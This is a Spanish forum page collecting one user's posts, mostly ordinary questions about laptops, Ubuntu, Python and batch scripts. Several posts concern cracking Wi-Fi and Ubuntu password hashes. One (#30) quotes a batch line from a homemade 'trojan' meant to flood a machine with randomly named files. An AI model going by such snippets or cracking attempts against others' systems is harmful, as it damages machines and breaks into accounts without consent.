Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - CaronteGold

#1
Buenas,

Uso un Macbook Pro y no quiero particionar y tener que cambiar el gestor de arranque etc..., así que he creado una máquina virtual con Kali Linux, en Parallels Desktop y en VMware Fusion 7; como es lógico la tarjeta wifi se virtualiza de manera que en la máquina virtual te queda una ethernet.

La cosa es que quiero poner la tarjeta red de manera que la máquina virtual tome posesión de ella y no haya wifi en el Mac. He visto que en Vmware y Virtualbox se puede, pero en Windows, en el Vmware fusion no encuentro exactamente como hacerlo, y he mirado en los ajustes de red y etc, y en ninguno de los programas lo veo.

De no ser posible, me quedaría la solución de usar un live cd, cosa que me da por saco, y lo más cómodo una tarjeta wifi portátil. Las he estado mirando y hay a patadas, de todos los precios, con antena, minis de 4 cm,etc.., ¿Sirven todas, alguna en concreto...?

Un saludo.
#2
Buenas

Tenía la duda de si se puede en Parallels Desktop pasar la tarjeta red a la máquina virtual sin virtualizar, es decir, desactivándola para el S.O. , creo que en VMWARE se puede según he leído, y en VirtualBox quizá también. La cosa es que tengo un Linux en Parallels y al poner "iwconfig" no me reconoce la red como Wi-Fi, al virtualizarla la recrea como "eth0" ehternet, y la necesito en modo real, wlan0.

Un saludo.
#3

   Buenas,

Me han dejado un netbook que le pasa lo siguiente, en cuanto apretas el botón de POWER, se queda como unos 2-3 minutos en la pantalla de la placa base, la primera que sale al encender el pc, pasado este tiempo llega a la clásica pantalla negra para arrancar y suelta un error . Memory test fail. Como he podido comprobar se trata de un error relacionado con la memoria RAM. Sumado a esto se escuchan unos sonidos similares al tic tac de un reloj continuamente, que parece ser, según un artículo, que se debe a un problema de la placa base. Me gustaría que me recomendaran qué hacer, pues no sé si el problema se solucionará cambiando la RAM o qué, aunque me extraña que el sonido y los 2-3 miutos en la pantalla inicial tengan que ver con la RAM.

   Saludos y gracias.
#4
Hardware / Bisagras del portátil.
19 Enero 2012, 16:34 PM
Buenas, estoy notando que las bisagras de la pantalla vuelven a estar flojas, y la carcasa del portátil se abre ligeramente cada vez que muevo la tapa. Ya lo he reparado una vez, cuando entraba en garantía, supongo que al ser un portátil fabricado en una tienda común no tendrá la misma calidad en cuanto a materiales como puede tener un portátil de acer, asus, etc. Así que me preguntaba como puedo saber que bisagra necesito, el portátil es de 17", con placa base IBM, aunque supongo que esto último es indiferente, y donde poder comprarla. Un saludo.
#5
 Buenas,

  Me preguntaba si es posible saber la marca de un teléfono android que entra a una paǵina web mediante javascript o PHP. Sé que es posible saber si es android, o es un iphone o tal.. , pero lo que quería saber es la marca en concreto.

Saludos y gracias.
#6
        Buenas,

 

   Hasta ahora siempre había utilizado la versión 32 bits, pero había visto por ahí que recomendaban usar la versión de 64 si el procesador lo soportaba, así que instalé la 11.04 versión 64 bits.

   La cuestión es que el brillo empieza a parpadear  de forma continua bloqueando el ratón una vez arrancado todo, aparte al meter el usuario la primera vez, me decía que no tenía hardware para poder usar el Unity. En general unos cuantos errores que no sé porqué pueden ser..

   Un saludo
#7
Foro Libre / ¿Qué tablet comprar?
12 Abril 2011, 18:08 PM


   Bueno ahí dejo esta pregunta --> ¿Qué tablet comprar? , quisiera saber vuestras opiniones..., pronto empiezo a la Universidad y quería tener un tablet ya que me voy a tener que mover y eso... aunque no es una excusa válida para comprarlo, simplemente quiero tener uno.
#8
Seguridad / Nmap - Analizando puertos.
26 Enero 2011, 23:30 PM


  Buenas...


  Estoy empezando a usar el nmap. Cuando hago un escaneo de los puertos dando la IP del router 192.168.., me detecta como 2 puertos abiertos y 1 cerrado, solo. Y dando la IP publica de otra red distinta la mía, solo me detecta, puerto 443 cerrado.

  Básicamente, uso los escaneos que tiene por defecto el nmap. ¿Que hago mal entonces?


  Saludos y gracias.
#9


  Buenas,


  Uso Ubuntu 10.04, y bueno de momento no había pensado en poner el PAE, para que me reconociese los 4GB, pero al ponerlo, por lo visto NVIDIA da problemas con él, si alguien sabe como solucionarlo, se agradece.

   Saludos y gracias.
#10
 
   Buenas,


 Estoy haciendo un script, lo que hace que guardar en un .txt, un texto,  pero cuando se pone a leerlo me tira un error. Aclarar que el texto lo guarda bien en el .txt. Aquí dejo el código:

Código (python) [Seleccionar]
 import os



print "1. Introduce el tiempo de grabación en minutos." "\n\n"
tiempo = raw_input("Respuesta: ")
tiempo2 = tiempo,"\n"
   
f = open("cintas.txt","ar")
f.writelines(tiempo2)
a = f.readlines()
f.close()


La salida:
line 11, in <module>
    a = f.readlines()
IOError: [Errno 9] Bad file descriptor
>>>






#11
  Según he estado leyendo la única forma de descifrar una contraseña WPA/WPA2 es mediante un diccionario. Pero si tenemos una combinación totalmente aleatoria, sin ninguna palabra real, es muy difícil que un diccionario tenga esa palabra. Según he calculado, haciendo fuerza bruta, para una contraseña de 10 caracteres, ni con CUDA, ni 5 ordenadores ( más o menos normales, ni de alto procesamiento ni de bajo ), podría sacar la contraseña en menos de X años. Entonces, tanta gente que saca WPA/WPA2, tiene que haber un método, porque si no, no lo entiendo, si alguien me puede aclarar un poco.

   Saludos y gracias.
#12
GNU/Linux / Error del punto de montaje de partición
11 Diciembre 2010, 20:05 PM


   Como tengo Ubuntu y Windows a la vez, tengo una partición para datos en NTFS, entonces como me daba error con programas al escribir, seguí un tutorial que decía sobre instalar ntfs-3g, la cosa es que lo hice, y después de eso, la partición es como si se dividiese pero sin hacerlo. Se llamaba D, pues se transformó en D_ y luego se creó una nueva D, en realidad no se dividió, es como si hubiese dos formas de verla, pero cada una con archivos distintos. ¿ Sabéis como arreglarlo ?


  Luego para el problema de escritura de permisos, ( esto me ocurría en el jdownloader ), se me ocurrio arrancarlo con " sudo jdownloader ", entonces me deja, pero es como si fuese dos programas, en el que abro desde el menu tengo una lista de descargas, y en el de administrador, otra.


   Si alguien sabe como solucionarlo se agradecería. Saludos y gracias.
#13
 

  Quería hacer 2 preguntas, dado que vienen al mismo tema, Hardware, solo creo un post.


  La primera pregunta: ya que en solo 2 años, las visagras del portátil se estropearon, y el marco en sí, quedó destrozado ( no le doy un mal uso, simplemente tuve mala suerte, o el problema es porque el portátil es clónico , hecho en tienda ) , voy a comprar un monitor, y como el portátil solamente lo uso para cambiar de una casa a otra, limitaría que se las visagras se estopeasen, quisiera saber si alguien ha hecho algo para encenderlo sin abrir la tapa ( pero sin dejarlo en suspensión y encender por el teclado ), he visto por internet, que abriéndolo y modificando algo, pero esto podría hacerlo en alguna tienda ¿?, podría estropearse el portátil ¿?


Otra duda, un disco duro externo, podría conectarlo de alguna forma que aprovechase toda la velocidad y no limitase la del USB 2.O ¿?


   Saludos y gracias.
#14

   Desde la primera vez que probé Ubuntu ( la única distro de linux que he probado más a fondo ), al suspender o hibernar el portátil, luego al encenderlo se quedaba todo en negro ( pero con la luz de encendido ), entonces tenía que apagarlo de nuevo y entonces iniciaba normal, sin suspender. Este problema ya me pasó en 2 versiones, en la 9.04 creo que era y en la que estoy actualmente 10.04.

  He encontrado una solución en internet, pero era de hacía mucho tiempo, entonces no quiero arriesgarme, y prefiero una solución más actualizada, si alguien sabe, agradezco su ayuda.


  Saludos.
#15
Criptografía / SHA-512 con Cain
25 Noviembre 2010, 17:02 PM

   Estoy intentando descifrar una contraseña de Ubuntu, cifrada en SHA-512, según veo Cain lo soporta, pero me dice a la hora de meter la contraseña me dice (in Hex), pero por ahí no encuentro nada para pasarlo a Hexadecimal. ¿Sabéis si estoy
  haciendo algo mal?
#16
  Buenas,


 Estaba instalando el l0phtcrack, lo hice distintas veces, para ver las versiones. Desactivé el avast porque daba problemas al instalarlo, y entonces la última vez que lo instalé todos los accesos directos se volvieron acceso directo al l0phtcrack. Desinstalé este, y entonces todos os accesos directos se volvieron en blanco...., instalé Ccleaner y reparé el registro de Windows (  es Windows 7 ) , y entonces se arregló la cosa. Pero me fijé que los gadgets no se ven, solo parte de ellos, el fondo en blanco, o directamente transparente. ¿ Alguna solución ?

  Saludos y gracias.
#17
GNU/Linux / [RESUELTO] Problema al arrancar GRUB2
11 Noviembre 2010, 16:29 PM
 Después de linux, instalé windows, y luego reparé el GRUB, pero no se que ha pasado, que en el GRUB no sale Windows, y además dice 3 segundos apreta ESC para ir al menu de GRUB. ¿Qué puedo hacer para desinstalar todo el GRUB y ponerlo bien? Me gustaría que apareciese el menú de GRUB, y no tuviese que apretar ESC.

 Saludos y gracias.
#18
Scripting / Insertar variables en SQLITE3 Python
12 Septiembre 2010, 16:56 PM

   Buenas,


  Estoy aprendiendo a crear bases de datos usando Python y tengo un problema, a la hora de meter una variable como dato me da un error y todos los ejemplos que veo, o dan una string directa ... 'loquesea' , o meten una tupla.

  Lo que quiero es meter una variable que contenga el dato insertado por el user, de un raw_input().

el código:

import sqlite3 as dbapi
bbdd = dbapi.connect("bbdd.dat")
c = bbdd.cursor()

c.execute("""create table personas (
             nombre text,
             apellido text,
             fecha text,
             localidad text)""")

quien = raw_input("Nombre: ")
secname = raw_input("Apellidos: ")
cuando = raw_input("Fecha de nacimiento: ")
lugar = raw_input("Localidad: ")

c.execute("""insert into personas
             values (quien, secname, cuando, lugar)""")



Y el error :   values (quien, secname, cuando, lugar)""")
OperationalError: no such column: quien


Dice que ninguna columna : quien, pero se supone que ahí va el dato para la columna  :-\
#19
  Buenas,

  Cuando uso el unetbootin para bootear un Windows Xp ( ya lo intenté con varios ) , una vez arrancado el USB, se me queda en la pantalla que trae Default, y 10 segundos para bootear y vuelve a la misma pantalla,  ya lo intenté con varios Windows Xp.


  Saludos.
#20
 
  Buenas,

 Pues voy a comenzar 2º de Bachiller y tengo unas dudas, una vez terminado el bachiller, si empezar primero por el Módulo de grado superior, Desarrollo de Aplicaciones Informáticas o ir directo a la Universidad a hacer la carrera Ingeniería Técnica de Sistemas. El director del antiguo colegio al que iba me recomendó hacer el módulo y luego ir a la Universidad...

 Saludos y gracias.
#21
   Buenas,

Siempre he usado Wifislax, pero este día metí el Ubuntu 9.10, y entonces descargué el paquete de aircrack por la línea de comandos, y cuando me pongo a ponerlo en modo monitor me da este error:


Interface Chipset Driver

wlan0 Intel 4965/5xxx iwlagn - [phy0]SIOCSIFFLAGS: Error desconocido 132

(monitor mode enabled on mon0)



 Y claro, luego me pongo a capturar y me sale esto mismo, ioctl(SIOCSIFFLAGS) failed: Unknown error 132


 EStuve mirando y había gente que tenía este mismo error, pero no conseguí ver la solución...

 Si alguien tiene idea de como arreglarlo, se lo gradecería.

 Saludos.
#22


  Buenas, pues tengo un problema, andaba buscando como abrir una página web( como si fuese start www.google.es en batch) desde Python, y he buscado bastante y no veo nada claro, busqué sobre el módulo subprocess, pero no encontré o no supe hacer para que arranque una web, creo que se podría hacer usando comandos del cmd, con Windows, como si fuese un Batch, pero realmente quisiera saber si se podría hacer con Python.


  Saludos y gracias.
#23
Scripting / Libro de Python
1 Enero 2010, 17:02 PM

   Buenas , pues como ahora estoy aprendiendo este lenguaje, creo que un libro para comprar no me vendría mal..., y estuve mirando dos libros...

   Uno es Python 3: http://www.priceminister.es/offer/buy/59034786/summerfield-mark-python-3-libro.html

   Lanzado en 2009, unas 512 páginas ---> 45 euros.

  El otro es :

   Python: Guía de referencia

    Lazando en el 2008, 864 páginas ---> 70 euros.


  Alguno ha leído o conoce algo sobre estos libros ¿? ,y si son recomendables o no. Sé que en internet hay mucha información sobre python, muchos tutoriales, y manuales, pero el libro puedo llevarlo mejor a varios sitios en vez de imprimir tantas hojas...

   Y también si estos libros abarcan el nivel mínimo, muy bajo de python, o ya empiezan avanzados.
   

   Saludos.
#24
Scripting / Calculador de Binomio de Newton [Python]
30 Diciembre 2009, 20:12 PM
Buenas,

Pues publico el código para realizar el binomio de newton, tanto con incógnitas como sin ellas, sé que está muy lioso el código, sobran las variables de potencias, ( me guié por Batch en el que para potencias no había x**y) , pero bueno, la cosa es que cumple la función, está puesto para uso ... diría escolar xD, es decir no presenta la solución, si no que la resuelve en los dos pasos.

Lo publico como guía o cualquier cosa, si le sirve a alguien, estaría bien. Si queréis mejorar el código o algo, ahí lo tenéis.

Una cosa, este símbolo ---> ^ , es para potencias, quiere decir elevado, ejemplo: 10^9 , sería 10 elevado a potencia 9.


Saludos.

Código (python) [Seleccionar]
# -*- coding: cp1252 -*-
import math

print("Binomio de Newton")

# Aqui pido los datos , numeros, potencias y en caso de que haya incognitas tambien
a = input("Primer numero: ")
incoga = raw_input("Incognita (si no hay, poner guion -): ")
b = input("Segundo numero: ")
incogb = raw_input("Incognita (si no hay, poner guion -): ")
pot = input("Potencia: ")
if incoga == "-" and incogb == "-":
print(" \n ("+str(a)+"+"+str(b)+")"+"^"+str(pot))

else:
print (" \n ("+str(a)+incoga+"+"+str(b)+incogb+")"+"^"+str(pot))

# estas son las variables que hay que usar para el binomio ( los datos del triangulo de Tartaglia o Pascal)

cuno = 1
cdos = 5
ctres = 10
ccuatro = 10
ccinco = 5
cseis = 1
cuuno = 1
cudos = 4
cutres = 6
cucuatro = 4
cucinco = 1
seuno = 1
sedos = 6
setres = 15
secuatro = 20
secinco = 15
seseis = 6
sesiete = 1
siuno = 1
sidos = 7
sitres = 21
sicuatro = 35
sicinco = 35
siseis = 21
sisiete = 7
siocho = 1
ocuno = 1
ocdos = 8
octres = 28
occuatro = 56
occinco = 70
ocseis = 56
ocsiete = 28
ococho = 8
ocnueve = 1
nuuno = 1
nudos = 9
nutres = 36
nucuatro = 84
nucinco = 126
nuseis = 126
nusiete = 84
nuocho = 36
nunueve = 9
nudiez = 1

# anteriormente lo habia hecho en batch, entonces las potencias las hice en variables, pero seria mejor no hacerlo como yo, es decir para las potencias poner en la operación a**6 (ejemplo).

panueve = a**9
paocho = a**8
pasiete = a**7
paseis = a**6
pacinco = a**5
pacuatro = a**4
patres = a**3
pados = a**2

pbnueve = b**9
pbocho = b**8
pbsiete = b**7
pbseis = b**6
pbcinco = b**5
pbcuatro = b**4
pbtres = b**3
pbdos = b**2

# en caso de que no haya incognitas se ejecutan estos bloques
if incoga == "-" and incogb == "-":

if pot == 4:
print " \n " ,cuuno, "*" ,pacuatro, "+" ,cudos, "*" ,patres, "*" ,b, "+" ,cutres, "*" ,pados, "*" ,pbdos, "+" ,cucuatro, "*" ,a, "*" ,pbtres, "+" ,cucinco, "*" ,pbcuatro,
print " \n \n Solucion final:" ,cuuno*pacuatro+cudos*patres*b+cutres*pados*pbdos+cucuatro*a*pbtres+cucinco*pbcuatro

if pot == 5:
print " \n " ,cuno, '*' ,pacinco, "+" ,cdos, "*" ,pacuatro, "*" ,b, "+" ,ctres, "*" ,patres, "*" ,pbdos, "+" ,ccuatro, "*" ,pados, "*" ,pbtres, "+" ,ccinco, "*" ,a, "*" ,pbcuatro, "+" ,cseis, "*" ,pbcinco,
print " \n \n Solucion final:" ,cuno*pacinco+cdos*pacuatro*b+ctres*patres*pbdos+ccuatro*pados*pbtres+ccinco*a*pbcuatro+cseis*pbcinco
if pot == 6:
print " \n " ,seuno, "*" ,paseis, "+" ,sedos, "*" ,pacinco, "*" ,b, "+" ,setres, "*" ,pacuatro, "*" ,pbdos, "+" ,secuatro, "*" ,patres, "*" ,pbtres, "+" ,secinco, "*" ,pados, "*" ,pbcuatro, "+" ,seseis, "*" ,a, "*" ,pbcinco, "+" ,sesiete, "*" ,pbseis,
print " \n \n Solucion final:" ,seuno*paseis+sedos*pacinco*b+setres*pacuatro*pbdos+secuatro*patres*pbtres+secinco*pados*pbcuatro+seseis*a*pbcinco+sesiete*pbseis

if pot == 7:
print " \n " ,siuno, "*" ,pasiete, "+" ,sidos, "*" ,paseis, "*" ,b, "+" ,sitres, "*" ,pacinco, "*" ,pbdos, "+" ,sicuatro, "*" ,pacuatro, "*" ,pbtres, "+" ,sicinco, "*" ,patres, "*" ,pbcuatro, "+" ,siseis, "*" ,pados, "*" ,pbcinco, "+" ,sisiete, "*" ,a, "*" ,pbseis, "+" ,siocho, "*" ,pbsiete,
print " \n \n Solucion final:" ,siuno*pasiete+sidos*paseis*b+sitres*pacinco*pbdos+sicuatro*pacuatro*pbtres+sicinco*patres*pbcuatro+siseis*pados*pbcinco+sisiete*a*pbseis+siocho*pbsiete

if pot == 8:
print " \n " ,ocuno, "*" ,paocho, "+" ,ocdos, "*" ,pasiete, "*" ,b, "+" ,octres, "*" ,paseis, "*" ,pbdos, "+" ,occuatro, "*" ,pacinco, "*" ,pbtres, "+" ,occinco, "*" ,pacuatro, "*" ,pbcuatro, "+" ,ocseis, "*" ,patres, "*" ,pbcinco, "+" ,ocsiete, "*" ,pados, "*" ,pbseis, "+" ,ococho, "*" ,a, "*" ,pbsiete, "+" ,ocnueve, "*" ,pbocho
print " \n \n Solucion final:" ,ocuno*paocho+ocdos*pasiete*b+octres*paseis*pbdos+occuatro*pacinco*pbtres+occinco*pacuatro*pbcuatro+ocseis*patres*pbcinco+ocsiete*pados*pbseis+ococho*a*pbsiete+ocnueve*pbocho

if pot == 9:
print " \n " ,nuuno, "*" ,panueve, "+" ,nudos, "*" ,paocho, "*" ,b, "+" ,nutres, "*" ,pasiete, "*" ,pbdos, "+" ,nucuatro, "*" ,paseis, "*" ,pbtres, "+" ,nucinco, "*" ,pacinco, "*" ,pbcuatro, "+" ,nuseis, "*" ,pacuatro, "*" ,pbcinco, "+" ,nusiete, "*" ,patres, "*" ,pbseis, "+" ,nuocho, "*" ,pados, "*" ,pbsiete, "+" ,nunueve, "*" ,a, "*" ,pbocho, "+" ,nudiez, "*" ,pbnueve,
print " \n \n Solucion final:" ,nuuno*panueve+nudos*paocho*b+nutres*pasiete*pbdos+nucuatro*paseis*pbtres+nucinco*pacinco*pbcuatro+nuseis*pacuatro*pbcinco+nusiete*patres*pbseis+nuocho*pados*pbsiete+nunueve*a*pbocho+nudiez*pbnueve

# si hay incognitas se ejecuta esto otro
else:

if pot ==4:
print " \n " ,cuuno, "*" ,str(pacuatro) + incoga +"^4", "+" ,cudos, "*" ,str(patres) + incoga+"^3", "*" ,str(b) + incogb, "+" ,cutres, "*" ,str(pados) + incoga+"^2", "*" ,str(pbdos) + incogb+"^2", "+" ,cucuatro, "*" ,str(a) + incoga, "*" ,str(pbtres) + incogb+"^3", "+" ,cucinco, "*" ,str(pbcuatro) + incogb+"^4",
print " \n \n Solucion final:" ,str(cuuno*pacuatro) + incoga+"^4","+",str(cudos*patres) + incoga+"^3","*",str(b) + incogb,"+",str(cutres*pados) + incoga+"^2","*",str(pbdos) + incogb+"^2","+",str(cucuatro*a) + incoga,"*",str(pbtres) + incogb+"^3","+",str(cucinco*pbcuatro) + incogb+"^4"
if pot == 5:
print " \n " ,cuno,'*',str(pacinco) + incoga+"^5","+",cdos,"*",str(pacuatro) + incoga+"^4","*",str(b) + incogb,"+",ctres,"*",str(patres) + incoga+"^3","*",str(pbdos) + incogb+"^2","+",ccuatro,"*",str(pados) + incoga+"^2","*",str(pbtres) + incogb+"^3","+",ccinco,"*",str(a) + incoga,"*",str(pbcuatro)+ incogb+"^4","+",cseis,"*",str(pbcinco) + incogb+"^5",
print " \n \n Solucion final:" ,str(cuno*pacinco) + incoga+"^5","+",str(cdos*pacuatro) + incoga+"^4","*",str(b) + incogb,"+",str(ctres*patres) + incoga+"^3","*",str(pbdos)+ incogb+"^2","+",str(ccuatro*pados) + incoga+"^2","*",str(pbtres) + incogb+"^3","+",str(ccinco*a) + incoga,"*",str(pbcuatro) + incogb+"^4","+",str(cseis*pbcinco) + incogb+"^5",

if pot == 6:
print " \n " ,seuno,"*",str(paseis) + incoga+"^6","+",sedos,"*",str(pacinco) + incoga+"^5","*",str(b) + incogb,"+",setres,"*",str(pacuatro) + incoga+"^4","*",str(pbdos) + incogb+"^2","+",secuatro,"*",str(patres) + incoga+"^3","*",str(pbtres) + incogb+"^3","+",secinco,"*",str(pados) + incoga+"^2","*",str(pbcuatro) + incogb+"^4","+",seseis,"*",str(a) + incoga,"*",str(pbcinco) + incogb+"^5","+",sesiete,"*",str(pbseis) + incogb+"^6",
print " \n \n Solucion final:" ,str(seuno*paseis) + incoga+"^6","+",str(sedos*pacinco) + incoga+"^5","*",str(b) + incogb,"+",str(setres*pacuatro) + incoga+"^4","*",str(pbdos) + incogb+"^2","+",str(secuatro*patres) + incoga+"^3","*",str(pbtres) + incogb+"^3","+",str(secinco*pados) + incoga+"^2","*",str(pbcuatro) + incogb+"^4","+",str(seseis*a) + incoga,"*",str(pbcinco) + incogb+"^5","+",str(sesiete*pbseis) + incogb+"^6",

if pot == 7:
print " \n " ,siuno,"*",str(pasiete) + incoga+"^7","+",sidos,"*",str(paseis) + incoga+"^6","*",str(b) + incogb,"+",sitres,"*",str(pacinco) + incoga+"^5","*",str(pbdos) + incogb+"^2","+",sicuatro,"*",str(pacuatro) + incoga+"^4","*",str(pbtres) + incogb+"^3","+",sicinco,"*",str(patres) + incoga+"^3","*",str(pbcuatro) + incogb+"^4","+",siseis,"*",str(pados) + incoga+"^2","*",str(pbcinco) + incogb+"^5","+",sisiete,"*",str(a) + incoga,"*",str(pbseis) + incogb+"^6", "+" ,siocho, "*" ,str(pbsiete) + incogb+"^7",
print " \n \n Solucion final:" ,str(siuno*pasiete) + incoga+"^7","+",str(sidos*paseis) + incoga+"^6","*",str(b) + incogb,"+",str(sitres*pacinco) + incoga+"^5","*",str(pbdos) +incogb+"^2","+",str(sicuatro*pacuatro) +incoga+"^4","*",str(pbtres) + incogb+"^3","+",str(sicinco*patres) + incoga+"^3","*",str(pbcuatro) + incogb+"^4","+",str(siseis*pados) + incoga+"^2","*",str(pbcinco) + incogb+"^5","+",str(sisiete*a) + incoga,"*",str(pbseis)+ incogb+"^6","+",str(siocho*pbsiete) + incogb +"^7",

if pot == 8:
print " \n " ,ocuno,"*",str(paocho) + incoga+"^8","+",ocdos,"*",str(pasiete) + incoga+"^7","*",str(b) + incogb,"+",octres,"*",str(paseis) + incoga+"^6","*",str(pbdos) + incogb+"^2","+",occuatro,"*",str(pacinco) + incoga+"^5","*",str(pbtres) + incogb+"^3","+",occinco,"*",str(pacuatro) + incoga+"^4","*",str(pbcuatro) + incogb+"^4","+",ocseis,"*",str(patres) + incoga+"^3","*",str(pbcinco) + incogb+"^5","+",ocsiete,"*",str(pados) + incoga+"^2","*",str(pbseis) + incogb+"^6","+",ococho,"*",str(a) + incoga,"*",str(pbsiete) + incogb+"^7","+",ocnueve,"*",str(pbocho) + incogb+"^8"
print " \n \n Solucion final:" ,str(ocuno*paocho) + incoga+"^8","+",str(ocdos*pasiete) + incoga+"^7","*",str(b) + incogb,"+",str(octres*paseis) + incoga+"^6","*",str(pbdos) + incogb+"^2","+",str(occuatro*pacinco) + incoga+"^5","*",str(pbtres) + incogb+"^3","+",str(occinco*pacuatro) + incoga+"^4","*",str(pbcuatro) + incogb+"^4","+",str(ocseis*patres) + incoga+"^3","*",str(pbcinco) + incogb+"^5","+",str(ocsiete*pados) + incoga+"^2","*",str(pbseis) + incogb+"^6","+",str(ococho*a) + incoga,"*",str(pbsiete) + incogb+"^7","+",str(ocnueve*pbocho) + incogb+"^8"

if pot == 9:
print " \n " ,nuuno,"*",str(panueve) + incoga+"^9","+",nudos,"*",str(paocho) + incoga+"^8","*",str(b) + incogb,"+",nutres,"*",str(pasiete) + incoga+"^7","*",str(pbdos) + incogb+"^2","+",nucuatro,"*",str(paseis) + incoga+"^6","*",str(pbtres) + incogb+"^3","+",nucinco,"*",str(pacinco) + incoga+"^5","*",str(pbcuatro) + incogb+"^4","+",nuseis,"*",str(pacuatro) + incoga+"^4","*",str(pbcinco) + incogb+"^5","+",nusiete,"*",str(patres) + incoga+"^3","*",str(pbseis) + incogb+"^6","+",nuocho,"*",str(pados) + incoga+"^2","*",str(pbsiete) + incogb+"^7","+",nunueve,"*",str(a) + incoga,"*",str(pbocho) + incogb+"^8","+",nudiez,"*",str(pbnueve) + incogb+"^9",
print " \n \n Solucion final:" ,str(nuuno*panueve) + incoga+"^9","+",str(nudos*paocho) + incoga+"^8","*",str(b) + incogb,"+",str(nutres*pasiete) + incoga+"^7","*",str(pbdos) + incogb+"^2","+",str(nucuatro*paseis) + incoga+"^6","*",str(pbtres) + incogb+"^3","+",str(nucinco*pacinco) + incoga+"^5","*",str(pbcuatro) + incogb+"^4","+",str(nuseis*pacuatro) + incoga+"^4","*",str(pbcinco) + incogb+"^5","+",str(nusiete*patres) + incoga+"^3","*",str(pbseis) + incogb+"^6","+",str(nuocho*pados) + incoga+"^2","*",str(pbsiete) + incogb+"^7","+",str(nunueve*a) + incoga,"*",str(pbocho) + incogb+"^8","+",str(nudiez*pbnueve) + incogb+"^9"

raw_input()
#25
Scripting / Duda de if sobre if [Python]
28 Diciembre 2009, 03:29 AM


    Buenas,



 Estoy haciendo una aplicación en Python y me surgió un problema, el caso es que tengo una situación así:

Código (python) [Seleccionar]

a = int(input("Primer numero: "))
incoga = raw_input("Incognita (si no hay, poner "no": ")
b = int(raw_input("Segundo numero:  "))
incogb = raw_input("Incognita (si no hay, poner "no"): ")
pot = int(raw_input("Potencia: "))



 Y después tengo :

if incoga == "no" and incogb == "no":    

   if pot == "4":
        print ....................
   if pot == "5":
        print .........


  El caso es que tengo un if dentro de otro if, pues el if de dentro --->  if pot == "4"  , no se ejecuta. Pero la variable está bien comprobada arriba, ya que si en lo de -- > if incoga.....,  debajo pongo un else, al ser incoga == no y incogb == no, no se ejecuta, pero el problema es que no reconoce el sub if.

  No sé si me he explicado bien, la  cosa es que este punto :  if incoga == "no" and incogb == "no": , se ejecuta, pero cuando llega justo debajo, pasa de largo, no da error ni nada, en la salida del programa sale como en blanco.

 Lo que no se ejecuta es esto:

if pot == "4":
        print ....................
   if pot == "5":
        print .........




 Puedo pensar que esos sub "if" los tengo que agrupar o no sé... si alguien sabe como lo puedo arreglar lo agradecería.

  Saludos.
#26
Scripting / Acumulación de archivos [BATCH]
23 Diciembre 2009, 14:09 PM


   Buenas,


   Estoy haciendo un programa que vaya acumulando unos ciertos datos, y en un punto, cuando el que ejecute el programa quiera, pueda ver el total de ellos. La cosa es que, el programa quiero que sirva para ir guardando datos de grabación de video, el user pone, he grabado 1 cinta, o 0.5 cinta, y entonces yo doy variables 1c=60, 0.5=30, pero luego quiero que eso se vaya guardando, yo he pensado guardarlo en un .bat aparte y así me quedó:

   @echo off

set /p cantidad=Cintas-Minutos:
if %cantidad%==0.5c ( goto cant05c
:cant05c
echo 30 minutos

echo set /a total+=30>>datos.bat

pause>nul )

exit



   Y luego quedaría en el otro programa que el total es 30, pero mi problema es, como puedo poner para que el resultado se muestre, ya que si cada vez que se introducen datos pongo el echo echo loquesea>>datos.bat,  cada vez que introduces un total estaría saliendo luego  , echo 30, echo 90.

   Bueno, no sé si se me entendió muy bien.

   Saludos.


#27
Scripting / Duda imprimir variables Python
20 Noviembre 2009, 19:42 PM

Buenas estoy intentando hacer un programa para calcular el binomio de newton, es decir que muestre el desarrollo completo, lo hice en Batch, pero solo me servía para números. Quiero hacerlo también para letras, y en python creo que se puede, pero estaba empezando y tuve un problema, al imprimir variables y texto a la vez da error.

Código (python) [Seleccionar]
print "Binomio de Newton"

a = raw_input("Primer número: ")
b = raw_input("Segundo número: ")
pot = raw_input("Potencia: ")

print "(" a "+" b "^"pot")"
raw_input()


quiero que salga, si "a" es 5 y "b" es 6 y potencia 5 :

(5+6)^5

Y he probado muchas cosas y no funciona, combinando comillas y etc...


Saludos.


#28
Juegos y Consolas / -Problema con PSP-
11 Octubre 2009, 12:33 PM


   Buenas,


Pues hace casi 2 años compré una PSP, y me la dieron estropeada 3 veces seguidas, y la última ya había perdido el gusto de jugar y me dije, que ya la descambiaría y así pasó el tiempo y aún no la descambié, pero veo que ya voy a perder la garantía. Hace unos meses la abrí a la mitad, sin quitar la garantía ( el problema es el botón L, que se queda calcado cuando le doy ) , y quité el botón L, y nada, el problema debe ser de adentro, es decir, que no es un problema físico. Mientras la desarmé y todo eso, perdí algún tornillo  ;D ;D. Mi duda, es, si compro los tornillos, y dejo la psp, tal cual me la dieron, ¿ me la arreglarán ? o tendré que pagar ¿?.



   Saludos.
#29
Scripting / Comando CALL [BATCH]
21 Septiembre 2009, 00:05 AM


  Buenas, ando haciendo una especie de programa para guardar notas de las diferentes asignaturas, al guardar la nota esta se mete en un .bat, y el cual puedes abrir desde el propio programa.


  Para eso se usa el comando CALL, pero hay que señalar la ruta, y entonces si yo lo uso bien, aunque si muevo de lugar el .BAT ya no funcionaría, mi problema es, si pongo CALL notasfq.bat se supone que en el directorio en el que está el .bat programanotas.bat (por ejemplo) , debería abrir, pues no, da error. Sé que se podría abrir fácil mediante start programanotas.bat, pero me gustaría que saliese en la misma pantalla y no en otra ventana.



  Saludos.
#30
Scripting / Problema con RANDOM [BATCH]
15 Septiembre 2009, 05:48 AM


      Buenas....


   Había hecho hace unos días una especie de troyano por batch, al cual le añadí un controlador, para grabar funciones, entre una de ellas, se me ocurrió poner un worm..., para que no quedase muy simple.


  La cosa... quiero que al abrir un .bat "Controlador" se cree otro .bat "Ordenes" y este al abrirlo cree otros archivos con un bucle infinito (worm).

Citarecho ^echo %RANDOM%^>^>%RANDOM%.exe>>ordenes.bat   


  De esta forma se haría..., pero el problema es, en vez de salir %RANDOM% salen unos números, y entonces el bucle no funciona, y solo se crean una vez. ¿Solución para que salga %RANDOM% y no ej: 1435366 ?


  Saludos y gracias.

                     


 
#31
Scripting / Dudas FTP en [BATCH]
12 Septiembre 2009, 02:51 AM

 Buenas,


Tengo dos dudas sobre el comando ftp en Batch.



